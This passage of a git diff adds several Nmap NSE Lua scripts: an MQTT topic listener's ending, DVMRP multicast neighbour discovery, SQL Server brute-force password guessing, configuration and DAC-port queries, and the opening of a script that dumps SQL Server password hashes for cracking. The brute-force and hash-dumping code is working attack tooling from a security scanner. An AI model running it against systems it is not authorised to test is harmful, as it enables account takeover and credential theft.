+ -- one of our topic filters. We will record the topic of every
+ -- PUBLISH message, but only retain the most recent payload.
+ --
+ -- We will continue to listen for PUBLISH messages until one of two
+ -- conditions is met, whichever comes first:
+ -- 1) We have listened for max_time
+ -- 2) We have received max_msgs
+ local end_time = nmap.clock_ms() + options.max_time * 1000
+ local topics = {}
+ local keys = {}
+ local msgs = 0
+ while true do
+ -- Check for the first condition.
+ local time_left = end_time - nmap.clock_ms()
+ if time_left <= 0 then
+ break
+ end
+
+ status, response = helper:receive({"PUBLISH"}, time_left / 1000)
+ if not status then
+ break
+ end
+
+ local name = response.topic
+ if not topics[name] then
+ table.insert(keys, name)
+ end
+ topics[name] = response.payload
+
+ -- Check for the second condition.
+ msgs = msgs + 1
+ if options.max_msgs ~= 0 and msgs >= options.max_msgs then
+ break
+ end
+ end
+
+ -- Disconnect from the MQTT broker.
+ helper:close()
+
+ -- We're not going to error out if the last response was an error if
+ -- there were successful responses before it, but we will log it.
+ if not status then
+ if #keys > 0 then
+ stdnse.debug3("Received error while listening for PUBLISH messages: %s", response)
+ else
+ output.ERROR = response
+ return output, output.ERROR
+ end
+ end
+
+ -- Try and offer information on what software the MQTT broker is
+ -- running through the version identification interface. Sadly this
+ -- is often just a version number with no product name.
+ local ver = topics["$SYS/broker/version"]
+ if ver then
+ port.version.name = ver
+ nmap.set_port_version(host, port)
+ end
+
+ -- Format the topics and payloads we received.
+ table.sort(keys)
+ local topics_in_order = {}
+ for _, key in ipairs(keys) do
+ topics_in_order[key] = topics[key]
+ end
+
+ output["Topics and their most recent payloads"] = topics_in_order
+ return output, stdnse.format_output(true, output)
+end
diff --git a/scripts/mrinfo.nse b/scripts/mrinfo.nse
new file mode 100644
index 0000000..fb7284f
--- /dev/null
+++ b/scripts/mrinfo.nse
@@ -0,0 +1,289 @@
+local nmap = require "nmap"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local string = require "string"
+local target = require "target"
+local table = require "table"
+
+
+description = [[
+Queries targets for multicast routing information.
+
+This works by sending a DVMRP Ask Neighbors 2 request to the target and
+listening for DVMRP Neighbors 2 responses that are sent back and which contain
+local addresses and the multicast neighbors on each interface of the target. If
+no specific target is specified, the request will be sent to the 224.0.0.1 All
+Hosts multicast address.
+
+This script is similar somehow to the mrinfo utility included with Windows and
+Cisco IOS.
+]]
+
+---
+-- @args mrinfo.target Host to which the request is sent. If not set, the
+-- request will be sent to <code>224.0.0.1</code>.
+--
+-- @args mrinfo.timeout Time to wait for responses.
+-- Defaults to <code>5s</code>.
+--
+--@usage
+-- nmap --script mrinfo
+-- nmap --script mrinfo -e eth1
+-- nmap --script mrinfo --script-args 'mrinfo.target=172.16.0.4'
+--
+--@output
+-- Pre-scan script results:
+-- | mrinfo:
+-- | Source: 224.0.0.1
+-- | Version 12.4
+-- | Local address: 172.16.0.2
+-- | Neighbor: 172.16.0.4
+-- | Neighbor: 172.16.0.3
+-- | Local address: 172.17.0.1
+-- | Neighbor: 172.17.0.2
+-- | Local address: 172.18.0.1
+-- | Neighbor: 172.18.0.2
+-- | Source: 224.0.0.1
+-- | Version 12.4
+-- | Local address: 172.16.0.4
+-- | Neighbor: 172.16.0.3
+-- | Neighbor: 172.16.0.2
+-- | Local address: 172.17.0.2
+-- | Neighbor: 172.17.0.1
+-- | Source: 224.0.0.1
+-- | Version 12.4
+-- | Local address: 172.16.0.3
+-- | Neighbor: 172.16.0.4
+-- | Neighbor: 172.16.0.2
+-- | Local address: 172.18.0.2
+-- | Neighbor: 172.18.0.1
+-- |_ Use the newtargets script-arg to add the responses as targets
+--
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "broadcast"}
+
+
+prerule = function()
+ if nmap.address_family() ~= 'inet' then
+ stdnse.verbose1("is IPv4 only.")
+ return false
+ end
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+-- Parses a DVMRP Ask Neighbor 2 raw data and returns
+-- a structured response.
+-- @param data raw data.
+local mrinfoParse = function(data)
+ local index, address, neighbor
+ local response = {}
+
+ -- first byte should be IGMP type == 0x13 (DVMRP)
+ if data:byte(1) ~= 0x13 then return end
+
+ -- DVMRP Code
+ response.code,
+ -- Checksum
+ response.checksum,
+ -- Capabilities (Skip one reserved byte)
+ response.capabilities,
+ -- Major and minor version
+ response.minver,
+ response.majver, index = string.unpack(">B I2 x B B B", data, 2)
+ response.addresses = {}
+ -- Iterate over target local addresses (interfaces)
+ while index < #data do
+ if data:byte(index) == 0x00 then break end
+ address = {}
+ -- Local address
+ address.ip,
+ -- Link metric
+ address.metric,
+ -- Threshold
+ address.threshold,
+ -- Flags
+ address.flags,
+ -- Number of neighbors
+ address.ncount, index = string.unpack(">c4BBBB", data, index)
+ address.ip = ipOps.str_to_ip(address.ip)
+
+ address.neighbors = {}
+ -- Iterate over neighbors
+ for i = 1, address.ncount do
+ neighbor, index = string.unpack(">c4", data, index)
+ table.insert(address.neighbors, ipOps.str_to_ip(neighbor))
+ end
+ table.insert(response.addresses, address)
+ end
+ return response
+end
+
+-- Listens for DVMRP Ask Neighbors 2 responses
+--@param interface Network interface to listen on.
+--@param timeout Time to listen for a response.
+--@param responses table to insert responses into.
+local mrinfoListen = function(interface, timeout, responses)
+ local condvar = nmap.condvar(responses)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local p, mrinfo_raw, status, l3data, response, _
+
+ -- IGMP packets that are sent to our host
+ local filter = 'ip proto 2 and dst host ' .. interface.address
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ mrinfo_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ if p then
+ -- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06)
+ if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then
+ response = mrinfoParse(mrinfo_raw)
+ if response then
+ response.srcip = p.ip_src
+ table.insert(responses, response)
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+-- Function that generates a raw DVMRP Ask Neighbors 2 request.
+local mrinfoRaw = function()
+ local mrinfo_raw = string.pack(">BB I2 I2 BB",
+ 0x13, -- Type: DVMRP
+ 0x05, -- Code: Ask Neighbor v2
+ 0x0000, -- Checksum: Calculated later
+ 0x000a, -- Reserved
+ -- Version == Cisco IOS 12.4
+ 0x04, -- Minor version: 4
+ 0x0c) -- Major version: 12
+
+ -- Calculate checksum
+ mrinfo_raw = mrinfo_raw:sub(1,2) .. string.pack(">I2", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5)
+
+ return mrinfo_raw
+end
+
+-- Function that sends a DVMRP query.
+--@param interface Network interface to use.
+--@param dstip Destination IP to send to.
+local mrinfoQuery = function(interface, dstip)
+ local mrinfo_packet, sock, eth_hdr
+ local srcip = interface.address
+
+ local mrinfo_raw = mrinfoRaw()
+ local ip_raw = stdnse.fromhex( "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw
+ mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len())
+ mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
+ mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
+ mrinfo_packet:ip_set_len(ip_raw:len())
+ if dstip == "224.0.0.1" then
+ -- Doesn't affect results, but we should respect RFC 3171 :)
+ mrinfo_packet:ip_set_ttl(1)
+ end
+ mrinfo_packet:ip_count_checksum()
+
+ sock = nmap.new_dnet()
+ if dstip == "224.0.0.1" then
+ sock:ethernet_open(interface.device)
+ -- Ethernet IPv4 multicast, our ethernet address and packet type IP
+ eth_hdr = "\x01\x00\x5e\x00\x00\x01" .. interface.mac .. "\x08\x00"
+ sock:ethernet_send(eth_hdr .. mrinfo_packet.buf)
+ sock:ethernet_close()
+ else
+ sock:ip_open()
+ sock:ip_send(mrinfo_packet.buf, dstip)
+ sock:ip_close()
+ end
+end
+
+-- Returns the network interface used to send packets to a target host.
+--@param target host to which the interface is used.
+--@return interface Network interface used for target host.
+local getInterface = function(target)
+ -- First, create dummy UDP connection to get interface
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(target, "12345", "udp")
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ local status, address, _, _, _ = sock:get_info()
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ for _, interface in pairs(nmap.list_interfaces()) do
+ if interface.address == address then
+ return interface
+ end
+ end
+end
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ timeout = (timeout or 5) * 1000
+ local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") or "224.0.0.1"
+ local responses = {}
+ local interface, result
+
+ interface = nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ else
+ interface = getInterface(target)
+ end
+ if not interface then
+ return stdnse.format_output(false, ("Couldn't get interface for %s"):format(target))
+ end
+
+ stdnse.debug1("will send to %s via %s interface.", target, interface.shortname)
+
+ -- Thread that listens for responses
+ stdnse.new_thread(mrinfoListen, interface, timeout, responses)
+
+ -- Send request after small wait to let Listener start
+ stdnse.sleep(0.1)
+ mrinfoQuery(interface, target)
+ local condvar = nmap.condvar(responses)
+ condvar("wait")
+
+ if #responses > 0 then
+ local output, ifoutput = {}
+ for _, response in pairs(responses) do
+ result = {}
+ result.name = "Source: " .. response.srcip
+ table.insert(result, ("Version %s.%s"):format(response.majver, response.minver))
+ for _, address in pairs(response.addresses) do
+ ifoutput = {}
+ ifoutput.name = "Local address: " .. address.ip
+ for _, neighbor in pairs(address.neighbors) do
+ if target.ALLOW_NEW_TARGETS then target.add(neighbor) end
+ table.insert(ifoutput, "Neighbor: " .. neighbor)
+ end
+ table.insert(result, ifoutput)
+ end
+ table.insert(output, result)
+ end
+ if not target.ALLOW_NEW_TARGETS then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/ms-sql-brute.nse b/scripts/ms-sql-brute.nse
new file mode 100644
index 0000000..71d7f0d
--- /dev/null
+++ b/scripts/ms-sql-brute.nse
@@ -0,0 +1,290 @@
+local mssql = require "mssql"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Performs password guessing against Microsoft SQL Server (ms-sql). Works best in
+conjunction with the <code>broadcast-ms-sql-discover</code> script.
+
+SQL Server credentials required: No (will not benefit from <code>mssql.username</code> & <code>mssql.password</code>).
+
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code> or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code> and <code>mssql.instance-port</code> script arguments are NOT used.
+
+WARNING: SQL Server 2005 and later versions include support for account lockout
+policies (which are enforced on a per-user basis). If an account is locked out,
+the script will stop running for that instance, unless the
+<code>ms-sql-brute.ignore-lockout</code> argument is used.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @see ms-sql-empty-password.nse
+--
+-- @usage
+-- nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=customuser.txt,passdb=custompass.txt <host>
+-- nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host>
+--
+-- @output
+-- | ms-sql-brute:
+-- | [192.168.100.128\TEST]
+-- | No credentials found
+-- | Warnings:
+-- | sa: AccountLockedOut
+-- | [192.168.100.128\PROD]
+-- | Credentials found:
+-- | webshop_reader:secret => Login Success
+-- | testuser:secret1234 => PasswordMustChange
+-- |_ lordvader:secret1234 => Login Success
+--
+----
+-- @args ms-sql-brute.ignore-lockout WARNING! Including this argument will cause
+-- the script to continue attempting to brute-forcing passwords for users
+-- even after a user has been locked out. This may result in many SQL
+-- Server logins being locked out!
+--
+-- @args ms-sql-brute.brute-windows-accounts Enable targeting Windows accounts
+-- as part of the brute force attack. This should be used in conjunction
+-- with the mssql library's mssql.domain argument.
+--
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
+-- - Added ability to run against all instances on a host;
+-- - Added recognition of account-locked out and password-expired error codes;
+-- - Added storage of credentials on a per-instance basis
+-- - Added compatibility with changes in mssql.lua
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-empty-password"}
+
+--- Returns formatted output for the given instance
+local function create_instance_output_table( instance )
+
+ local instanceOutput = {}
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ if ( instance.ms_sql_brute.credentials ) then
+ local credsOutput = {}
+ credsOutput["name"] = "Credentials found:"
+ table.insert( instanceOutput, credsOutput )
+
+ for username, result in pairs( instance.ms_sql_brute.credentials ) do
+ local password = result[1]
+ local errorCode = result[2]
+ password = password:len()>0 and password or "<empty>"
+ if errorCode then
+ local errorMessage = mssql.LoginErrorMessage[ errorCode ] or "unknown error"
+ table.insert( credsOutput, string.format( "%s:%s => %s", username, password, errorMessage ) )
+ else
+ table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) )
+ end
+ end
+
+ if ( #credsOutput == 0 ) then
+ table.insert( instanceOutput, "No credentials found" )
+ end
+ end
+
+ if ( instance.ms_sql_brute.warnings ) then
+ local warningsOutput = {}
+ warningsOutput["name"] = "Warnings:"
+ table.insert( instanceOutput, warningsOutput )
+
+ for _, warning in ipairs( instance.ms_sql_brute.warnings ) do
+ table.insert( warningsOutput, warning )
+ end
+ end
+
+ if ( instance.ms_sql_brute.errors ) then
+ local errorsOutput = {}
+ errorsOutput["name"] = "Errors:"
+ table.insert( instanceOutput, errorsOutput )
+
+ for _, error in ipairs( instance.ms_sql_brute.errors ) do
+ table.insert( errorsOutput, error )
+ end
+ end
+
+ return stdnse.format_output(true, instanceOutput)
+
+end
+
+
+local function test_credentials( instance, helper, username, password )
+ local database = "tempdb"
+ local stopUser, stopInstance = false, false
+
+ local status, result = helper:ConnectEx( instance )
+ local loginErrorCode
+ if( status ) then
+ stdnse.debug2("Attempting login to %s as %s/%s", instance:GetName(), username, password )
+ status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
+ end
+ helper:Disconnect()
+
+ local passwordIsGood, canLogin
+ if status then
+ passwordIsGood = true
+ canLogin = true
+ elseif ( loginErrorCode ) then
+ if ( ( loginErrorCode ~= mssql.LoginErrorType.InvalidUsernameOrPassword ) and
+ ( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then
+ stopUser = true
+ end
+
+ if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true
+ elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true
+ elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
+ stdnse.debug1("Account %s locked out on %s", username, instance:GetName() )
+ table.insert( instance.ms_sql_brute.warnings, string.format( "%s: Account is locked out.", username ) )
+ if ( not stdnse.get_script_args( "ms-sql-brute.ignore-lockout" ) ) then
+ stopInstance = true
+ end
+ end
+ if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
+ stdnse.debug2("%s: Attemping login to %s as (%s/%s): Unknown login error number: %s",
+ SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode )
+ table.insert( instance.ms_sql_brute.warnings, string.format( "Unknown login error number: %s", loginErrorCode ) )
+ end
+ stdnse.debug3("%s: Attempt to login to %s as (%s/%s): %d (%s)",
+ SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode, tostring( mssql.LoginErrorMessage[ loginErrorCode ] ) )
+ else
+ table.insert( instance.ms_sql_brute.errors, string.format("Network error. Skipping instance. Error: %s", result ) )
+ stopUser = true
+ stopInstance = true
+ end
+
+ if ( passwordIsGood ) then
+ stopUser = true
+
+ instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode }
+ -- Add credentials for other ms-sql scripts to use but don't
+ -- add accounts that need to change passwords
+ if ( canLogin ) then
+ instance.credentials[ username ] = password
+ -- Legacy storage method (does not distinguish between instances)
+ nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
+ nmap.registry.mssqlusers[username]=password
+ end
+ end
+
+ return stopUser, stopInstance
+end
+
+--- Processes a single instance, attempting to detect an empty password for "sa"
+process_instance = function ( instance )
+
+ -- One of this script's features is that it will report an instance's
+ -- in both the port-script results and the host-script results. In order to
+ -- avoid redundant login attempts on an instance, we will just make the
+ -- attempt once and then re-use the results. We'll use a mutex to make sure
+ -- that multiple script instances (e.g. a host-script and a port-script)
+ -- working on the same SQL Server instance can only enter this block one at
+ -- a time.
+ local mutex = nmap.mutex( instance )
+ mutex( "lock" )
+
+ -- If this instance has already been tested (e.g. if we got to it by both the
+ -- hostrule and the portrule), don't test it again.
+ if ( instance.tested_brute ~= true ) then
+ instance.tested_brute = true
+
+ instance.credentials = instance.credentials or {}
+ instance.ms_sql_brute = instance.ms_sql_brute or {}
+ instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {}
+ instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {}
+ instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {}
+
+ local result, status
+ local stopUser, stopInstance
+ local usernames, passwords, username, password
+ local helper = mssql.Helper:new()
+
+ if ( not instance:HasNetworkProtocols() ) then
+ stdnse.debug1("%s has no network protocols enabled.", instance:GetName() )
+ table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." )
+ stopInstance = true
+ end
+
+ status, usernames = unpwdb.usernames()
+ if ( not(status) ) then
+ stdnse.debug1("Failed to load usernames list." )
+ table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." )
+ stopInstance = true
+ end
+
+ if ( status ) then
+ status, passwords = unpwdb.passwords()
+ if ( not(status) ) then
+ stdnse.debug1("Failed to load passwords list." )
+ table.insert( instance.ms_sql_brute.errors, "Failed to load passwords list." )
+ stopInstance = true
+ end
+ end
+
+ if ( status ) then
+ for username in usernames do
+ if stopInstance then break end
+
+ -- See if the password is the same as the username (which may not
+ -- be in the password list)
+ stopUser, stopInstance = test_credentials( instance, helper, username, username )
+
+ for password in passwords do
+ if stopUser then break end
+
+ stopUser, stopInstance = test_credentials( instance, helper, username, password )
+ end
+
+ passwords("reset")
+ end
+ end
+ end
+
+ -- The password testing has been finished. Unlock the mutex.
+ mutex( "done" )
+
+ return create_instance_output_table( instance )
+
+end
+
+local do_action
+do_action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
+
+action = function(...)
+
+ local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts")
+
+ if ( domain and not(bruteWindows) ) then
+ local ret = "\n " ..
+ "Windows authentication was enabled but the argument\n " ..
+ "ms-sql-brute.brute-windows-accounts was not given. As there is currently no\n " ..
+ "way of detecting accounts being locked out when Windows authentication is \n " ..
+ "used, make sure that the amount entries in the password list\n " ..
+ "(passdb argument) are at least 2 entries below the lockout threshold."
+ return ret
+ end
+
+ return do_action(...)
+end
diff --git a/scripts/ms-sql-config.nse b/scripts/ms-sql-config.nse
new file mode 100644
index 0000000..83db030
--- /dev/null
+++ b/scripts/ms-sql-config.nse
@@ -0,0 +1,132 @@
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Queries Microsoft SQL Server (ms-sql) instances for a list of databases, linked servers,
+and configuration settings.
+
+SQL Server credentials required: Yes (use <code>ms-sql-brute</code>, <code>ms-sql-empty-password</code>
+and/or <code>mssql.username</code> & <code>mssql.password</code>)
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap -p 1433 --script ms-sql-config --script-args mssql.username=sa,mssql.password=sa <host>
+--
+-- @args ms-sql-config.showall If set, shows all configuration options.
+--
+-- @output
+-- | ms-sql-config:
+-- | [192.168.100.25\MSSQLSERVER]
+-- | Databases
+-- | name db_size owner
+-- | ==== ======= =====
+-- | nmap 2.74 MB MAC-MINI\david
+-- | Configuration
+-- | name value inuse description
+-- | ==== ===== ===== ===========
+-- | SQL Mail XPs 0 0 Enable or disable SQL Mail XPs
+-- | Database Mail XPs 0 0 Enable or disable Database Mail XPs
+-- | SMO and DMO XPs 1 1 Enable or disable SMO and DMO XPs
+-- | Ole Automation Procedures 0 0 Enable or disable Ole Automation Procedures
+-- | xp_cmdshell 0 0 Enable or disable command shell
+-- | Ad Hoc Distributed Queries 0 0 Enable or disable Ad Hoc Distributed Queries
+-- | Replication XPs 0 0 Enable or disable Replication XPs
+-- | Linked Servers
+-- | srvname srvproduct providername
+-- | ======= ========== ============
+-- |_ MAC-MINI SQL Server SQLOLEDB
+--
+
+-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
+-- added compatibility with changes in mssql.lua (Chris Woodbury)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+--- Processes a set of instances
+local function process_instance( instance )
+
+ local status, errorMessage
+ local result, result_part = {}, {}
+ local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
+ or " WHERE configuration_id > 16384"
+ local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
+ or " WHERE name NOT IN ('master','model','tempdb','msdb')"
+ local helper = mssql.Helper:new()
+
+ local queries = {
+ [2]={ ["Configuration"] = [[ SELECT name,
+ cast(value as varchar) value,
+ cast(value_in_use as varchar) inuse,
+ description
+ FROM sys.configurations ]] .. conf_filter },
+ [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
+ FROM master..sysservers
+ WHERE srvid > 0 ]] },
+ [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
+ dbid int, created datetime, status varchar(512), compatibility_level int )
+ INSERT INTO #nmap_dbs EXEC sp_helpdb
+ SELECT name, db_size, owner
+ FROM #nmap_dbs ]] .. db_filter .. [[
+ DROP TABLE #nmap_dbs ]] }
+ }
+
+ status, errorMessage = helper:ConnectEx( instance )
+ if ( not(status) ) then result = "ERROR: " .. errorMessage end
+
+ if status then
+ status, errorMessage = helper:LoginEx( instance )
+ if ( not(status) ) then result = "ERROR: " .. errorMessage end
+ end
+
+ for _, v in ipairs( queries ) do
+ if ( not status ) then break end
+ for header, query in pairs(v) do
+ status, result_part = helper:Query( query )
+
+ if ( not(status) ) then
+ result = "ERROR: " .. result_part
+ break
+ end
+ result_part = mssql.Util.FormatOutputTable( result_part, true )
+ result_part.name = header
+ table.insert( result, result_part )
+ end
+ end
+
+ helper:Disconnect()
+
+ -- TODO: structured output instead of format_output
+ return stdnse.format_output(true, result)
+end
+
+action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
diff --git a/scripts/ms-sql-dac.nse b/scripts/ms-sql-dac.nse
new file mode 100644
index 0000000..ab8ee20
--- /dev/null
+++ b/scripts/ms-sql-dac.nse
@@ -0,0 +1,85 @@
+local mssql = require "mssql"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+
+description = [[
+Queries the Microsoft SQL Browser service for the DAC (Dedicated Admin
+Connection) port of a given (or all) SQL Server instance. The DAC port
+is used to connect to the database instance when normal connection
+attempts fail, for example, when server is hanging, out of memory or
+in other bad states. In addition, the DAC port provides an admin with
+access to system objects otherwise not accessible over normal
+connections.
+
+The DAC feature is accessible on the loopback adapter per default, but
+can be activated for remote access by setting the 'remote admin
+connection' configuration value to 1. In some cases, when DAC has been
+remotely enabled but later disabled, the sql browser service may
+incorrectly report it as available. The script therefore attempts to
+connect to the reported port in order to verify whether it's
+accessible or not.
+]]
+
+---
+-- @usage
+-- sudo nmap -sU -p 1434 --script ms-sql-dac <ip>
+--
+-- @output
+-- | ms-sql-dac:
+-- | SQLSERVER:
+-- | port: 1533
+-- |_ state: open
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+dependencies = {"broadcast-ms-sql-discover"}
+
+local function checkPort(host, port)
+ local scanport = nmap.get_port_state(host, {number=port, protocol="tcp"})
+ if scanport then
+ return scanport.state
+ end
+ local s = nmap.new_socket()
+ s:set_timeout(5000)
+ local status, err = s:connect(host, port, "tcp")
+ s:close()
+ return (status and "open" or "closed"), err
+end
+
+local function discoverDAC(instance)
+ stdnse.debug2("Discovering DAC port on instance: %s", instance:GetName())
+ local port = mssql.Helper.DiscoverDACPort(instance)
+ if not port then
+ return nil
+ end
+
+ local result = stdnse.output_table()
+ result.port = port
+ local state, err = checkPort(instance.host, port)
+ result.state = state
+ result.error = err
+ return result
+end
+
+local lib_portrule, lib_hostrule
+action, lib_portrule, lib_hostrule = mssql.Helper.InitScript(discoverDAC)
+
+local function rule_if_browser_open(lib_rule)
+ return function (host, ...)
+ if not lib_rule(host, ...) then
+ return false
+ end
+ local bport = nmap.get_port_state(host, {number=1434, protocol="udp"})
+ -- If port is nil, we don't know the state
+ return bport == nil or (
+ -- we know the state, so it has to be a good one
+ bport.state == "open" or bport.state == "open|filtered"
+ )
+ end
+end
+
+portrule = rule_if_browser_open(lib_portrule)
+hostrule = rule_if_browser_open(lib_hostrule)
diff --git a/scripts/ms-sql-dump-hashes.nse b/scripts/ms-sql-dump-hashes.nse
new file mode 100644
index 0000000..c895b02
--- /dev/null
+++ b/scripts/ms-sql-dump-hashes.nse
@@ -0,0 +1,113 @@
+local io = require "io"
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Dumps the password hashes from an MS-SQL server in a format suitable for
+cracking by tools such as John-the-ripper. In order to do so the user
+needs to have the appropriate DB privileges.
+
+Credentials passed as script arguments take precedence over credentials
+discovered by other scripts.
+]]
+
+---
+-- @usage
+-- nmap -p 1433 <ip> --script ms-sql-dump-hashes
+--
+-- @args ms-sql-dump-hashes.dir Dump hashes to a file in this directory. File
+-- name is <ip>_<instance>_ms-sql_hashes.txt.
+-- Default: no file is saved.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1433/tcp open ms-sql-s
+-- | ms-sql-dump-hashes:
+-- | nmap_test:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123
+-- | sa:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123
+-- |_ webshop_dbo:0x01001234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF01234567890ABCDEF0123
+
+--
+--
+-- Version 0.1
+-- Created 08/03/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "discovery", "safe"}
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+local function process_instance(instance)
+
+ local helper = mssql.Helper:new()
+ local status, errorMessage = helper:ConnectEx( instance )
+ if ( not(status) ) then
+ return "ERROR: " .. errorMessage
+ end
+
+ status, errorMessage = helper:LoginEx( instance )
+ if ( not(status) ) then
+ return "ERROR: " .. errorMessage
+ end
+
+ local result
+ local query = [[
+ IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
+ SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
+ ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
+ SELECT name, password_hash FROM master.sys.sql_logins
+ ]]
